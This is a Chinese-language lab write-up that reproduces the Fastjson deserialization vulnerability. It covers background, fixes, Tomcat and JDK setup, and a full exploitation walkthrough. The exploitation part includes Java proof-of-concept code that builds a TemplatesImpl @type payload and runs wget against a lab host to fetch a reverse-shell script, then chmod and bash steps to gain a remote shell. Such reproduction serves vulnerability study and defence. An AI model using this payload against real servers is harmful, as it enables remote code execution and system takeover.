Fastjson介绍
- Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
- Fastjson 1.2.48版本以下存在反序列化漏洞补丁绕过。
漏洞原理
- 这个讲的比较清楚,还需要消化下,明日更新自己的理解
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
修复方案
1.升级Fastjosn到1.2.58版本,并关闭Autotype;
2.WAF拦截Json请求中的多种编码形式的‘@type’,‘\u0040type’等字样;
3.建议尽可能使用Jackson或者Gson;
4.升级JDK版本到8u121,7u13,6u141以上。
环境复现
安装apache tomacat
- 下载apache tomcat 包
http://tomcat.apache.org
- tomcat拷贝到/var/lib/,解压后进入/var/lib/tomcat/bin/目录下执行./startup.sh
-
执行netstat -antp | grep 8080 检查默认监听端口 8080 是否开启
image.png - 浏览器中访问 http://ip:8080
安装jdk
(转载自https://blog.csdn.net/qq_29343201/article/details/51926430)
- 官网下载jdk
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
- 建立目录 ,解压
sudo mkdir -p /usr/local/java
sudo cp jdk-8u221-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u221-linux-x64.tar.gz
- 配置环境变量 添加以下内容到/etc/profile
JAVA_HOME=/usr/local/java/jdk1.8.0_221
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
- 通知系统java的位置
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_221/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_221/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_221/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_221/bin/javaws" 1
- 设置默认JDK
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_221/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_221/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_221/bin/javaws
- 重新载入profile
source /etc/profile
-
通过java -version 或者 javac -version判断是否安装成功
上传复现包到tomcat的webapp目录
-
上传复现包到tomcat的webapp目录
-
bin目录下./startup.sh 重启tomcat,解压war包
-
浏览器访问
漏洞利用
验证是否存在漏洞
1.抓取数据包
2.修改数据包为POST,添加{"name":"menghao",age:12}根据response判断,利用成功,存在该漏洞。
利用漏洞getshell
1.利用脚本生成paylod,构造Post请求,让攻击目标下载反弹shell
- 利用如下poc,一个是Test类,一个是Poc类
- 修改Test类中Runtime.getRuntime().exec中的命令为让目标机器执行的命令,执行Poc类获取所需字段,构造post数据包
- 向服务器下载反弹shell脚本,Runtime.getRuntime().exec()修改为/usr/bin/wget -P /tmp http://172.16.127.172:8181/ex.sh
package person;
/**
* Created by web on 2017/4/29.
*/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("/usr/bin/wget -P /tmp http://172.16.127.172:8181/ex.sh");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
package person;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
/**
* Created by web on 2017/4/29.
*/
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
//String personStr = "{'name':"+text1+",'age':19}";
//Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
-
执行Poc类,获取payload
-
利用生成的paylod构造Post请求
-
命令执行成功,在相应目录下生成了该文件
2.修改已上传的文件的文件权限
-
修改目标机器反弹shell脚本的文件权限,步骤同上将Test类中执行的命令替换成/bin/chmod 777 /tmp/ex.sh
3.监听机器开启端口监听,执行目标机器上的反弹shell脚本
-
反弹shell的机器开启端口监听
-
执行目标机器的反弹shell脚本,步骤同上,将Test类中执行的命令替换成/bin/bash /tmp/ex.sh
5.建立连接后,获取命令行控制权限
参考 https://www.freebuf.com/vuls/208074.html
https://github.com/alibaba/fastjson